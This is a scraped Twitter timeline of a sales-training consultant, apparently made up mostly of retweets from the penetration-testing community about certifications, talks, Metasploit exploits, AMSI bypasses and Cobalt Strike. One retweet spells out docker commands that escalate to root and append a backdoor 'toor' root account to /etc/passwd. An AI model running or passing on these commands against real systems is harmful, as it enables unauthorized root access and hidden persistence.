30 Yrs #Training and #Marketing #consulting works to build great relationships #salestraining #speaker #bassist #travel #entrepreneur
Medford, NY
Joined August 2008
- Tweets658
- Following2.2K
- Followers1.2K
- Likes92
Nick Sanzotta retweeted
Congratulations to @beamr
for clearing our Certified Red Team Expert exam! #RedTeamLab #CRTE pentesteracademy.com/redteam… cc: @nikhil_mitt
Nick Sanzotta retweeted
Since [MS-RPRN] is getting hot thanks to @tifkin_, @harmj0y and @enigma0x3, I just added the RPC calls to make it easy to use (plus helper functions) in impacket (github.com/SecureAuthCorp/im…). Enjoy!
Nick Sanzotta retweeted
One of our illustrious co-hosts, Patrick Laverty, will be co-presenting "Pentesting: Tips, Tricks and Stories" with Aaron Herndon @BSidesCT CT 2019! Ticket sales are open until the day of the show (Saturday, November 3rd) for $20. Go to bsidesct.org to register now!
Nick Sanzotta retweeted
Check out my talk, "Vibing Your Way Through an Enterprise How Attackers are Becoming More Sneaky" bit.ly/2O4h3ii and the framework on Github bit.ly/2x0yKZE.
Nick Sanzotta retweeted
The Web application security workshop slides for @Blackhoodie_RE are now public - slideshare.net/nragupathy/in…. Kudos to @jmkeads and @matir for their hard work on putting together this material ^_^
Nick Sanzotta retweeted
ScriptBlock based functionnal AMSI bypass PoC tested today on a freshly updated #Windows10 (pastebin.com/raw/iFVpKim5) | cheatsheet updated github.com/kmkz/Pentesting/b… | - Thx @S0ftwarGS for #amsi bypass idea + @mattifestation @SpecterOps @harmj0y for researches! #redteam #pentest
Nick Sanzotta retweeted
Tip while presenting: Never say "everyone knows", like "everyone knows what this is" or "everyone knows that you do this". Unless it's something like "water is wet", not everyone may know that. Yesterday a presenter said it and I didn't know, so I felt dumb.
Nick Sanzotta retweeted
Presenting at an auditor/policy type meeting today. Amazing how much more social these people are than the typical hacker meetups.
Nick Sanzotta retweeted
wireless hacking - This is automated wireless hacking tool
github.com/entropy1337/infer…
Nick Sanzotta retweeted
I just updated my blog post on how to install PowerShell on Kali: stevencampbell.info/2017/04/…
Nick Sanzotta retweeted
Upcoming Microsoft Windows ALPC Task Scheduler Local Privilege Elevation (CVE-2018-8440) exploit in #Metasploit !
Yes the 0day (now patched) found and disclosed by @SandboxEscaper
Thx @tychos_moose Aaron Soto @shellfail and @TheColonial for the hard work. github.com/rapid7/metasploit…
Nick Sanzotta retweeted
Do you use Cobalt Strike? @andrechiles @001SPARTaN and I created a self documented Malleable C2 profile with the hope that it will enhance your understanding of what you can do with malleable c2. @armitagehacker threatexpress.com/2018/09/a-… via @joevest
Nick Sanzotta retweeted
You land on a computer and `id` shows you're part of the `docker` group. Escalate to root with:
$> docker run -it --rm -v $PWD:/mnt bash
adds backdoor toor:password
#> echo 'toor:$1$.ZcF5ts0$i4k6rQYzeegUkacRCvfxC0:0:0:root:/root:/bin/sh' >> /mnt/etc/passwd
Nick Sanzotta retweeted
When you use CobaltStrike more than BurpSuite Pro ☺️. Means easy manual exploit vectors and more shells!
Nick Sanzotta retweeted
One of my fav parts of my red team is that we rotate campaign leaders every time. Everybody will run a campaign at some point. Everybody gets to feel the pressure of coordinating all the moving pieces. You're not expected to know everything, but you are expected to lead.
